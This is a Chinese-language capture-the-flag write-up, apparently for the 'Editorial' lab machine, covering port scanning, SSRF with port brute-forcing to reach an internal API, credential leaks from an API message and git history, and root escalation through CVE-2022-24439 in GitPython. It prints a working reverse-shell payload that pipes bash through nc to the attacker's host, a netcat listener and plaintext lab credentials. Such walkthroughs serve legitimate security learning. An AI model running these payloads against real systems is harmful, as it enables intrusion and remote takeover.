Editorial WriteUp

Editorial WriteUp

0x01 信息收集

  1. nmap端口扫描
nmap -A -sV -T4 10.10.11.20

在这里插入图片描述

  1. 发现目标开放22、80端口,先对80端口进行测试

在这里插入图片描述

直接访问发现80端口需要以editorial.htb域名访问,将其加入hosts文件

在这里插入图片描述

  1. 探索网页功能

在这里插入图片描述

发现目标存在upload功能点

在这里插入图片描述

0x02 漏洞利用

  1. 尝试利用upload界面上传webshell

在这里插入图片描述

上传完毕,在页面上会显示加载失败的图片,检查源代码发现后缀名会被删除并且文件名重命名,无法直接利用

  1. 尝试利用upload页面的url功能点[ssrf]

先尝试包含本地

在这里插入图片描述

发现传入url为本地的80端口时显示的是一张本地图片,尝试爆破端口,查看是否有不同的信息

将该数据包发给Intruder模块,添加攻击向量

在这里插入图片描述

添加payload为1-65535

在这里插入图片描述

攻击完毕发现5000端口的response数据的length和其他端口不同

在这里插入图片描述

打开response中的文件查看

static/uploads/1c3249f0-699f-4ab9-83ef-6ea3706e5aab

在这里插入图片描述

{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}

在返回中的数据中发现存在很多的api

逐个api访问,在http://127.0.0.1:5000/api/latest/metadata/messages/authors中发现敏感信息

将api放到ssrf漏洞点中获取该api在80端口中的文件位置

注:直接访问http://10.10.11.20:5000/api/latest/metadata/messages/authors获取不到数据,并且在端口扫描时也发现5000端口不对外开放

在这里插入图片描述

static/uploads/178dbc0e-c233-4137-9c7a-705f2eb0e586

访问该文件,在该文件中发现dev用户的凭证

在这里插入图片描述

{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}

dev用户凭证

dev:dev080217_devAPI!@
  1. 结合信息收集中发现目标开放22端口,使用dev用户连接

在这里插入图片描述

0x03 获取第一个flag

  1. ssh连接目标后在dev用户家目录下得到第一个flag

在这里插入图片描述

  1. 信息收集,尝试提权

查看是否存在suid提权或者sudo提权

在这里插入图片描述

当前目录下有一个apps文件夹,进去信息收集

在这里插入图片描述

.git 目录中一般会存在代码历史版本,进入.git目录,使用git log

查看代码历史版本

在这里插入图片描述

发现历史版本在存在着将prod修改为dev的版本,结合之前我们找到的dev用户信息可以登录系统,切换到该版本进行查看

在这里插入图片描述

git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
# 查看修改prod为dev 版本代码

在这里插入图片描述

得到一组用户名密码

prod:080217_Producti0n_2023!@
  1. 使用找到的prod用户登录目标系统

在这里插入图片描述

0x04 获取第二个flag

  1. 信息收集,尝试提权

查看是否存在suid提权或者sudo提权

在这里插入图片描述

发现prod能够以root用户执行/opt/internal_apps/clone_changes/clone_prod_change.py脚本,查看它的内容

#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

代码中使用了git库,先看git库的版本

pip3 list | grep -i git

在这里插入图片描述

发现使用的版本为3.1.29,存在RCE漏洞

  1. CVE-2022-24439
参考链接:
https://github.com/gitpython-developers/GitPython/issues/1515

在这里插入图片描述

根据漏洞poc我们可以执行如下payload反弹shell

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c rm% /tmp/f;mkfifo% /tmp/f;cat% /tmp/f|/bin/bash% -i% 2>&1|nc% 10.10.16.36% 4444% >/tmp/f"

在这里插入图片描述

在执行poc之前,kali 开启监听

nc -lvvp 4444

在这里插入图片描述

  1. 获取第二个flag

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值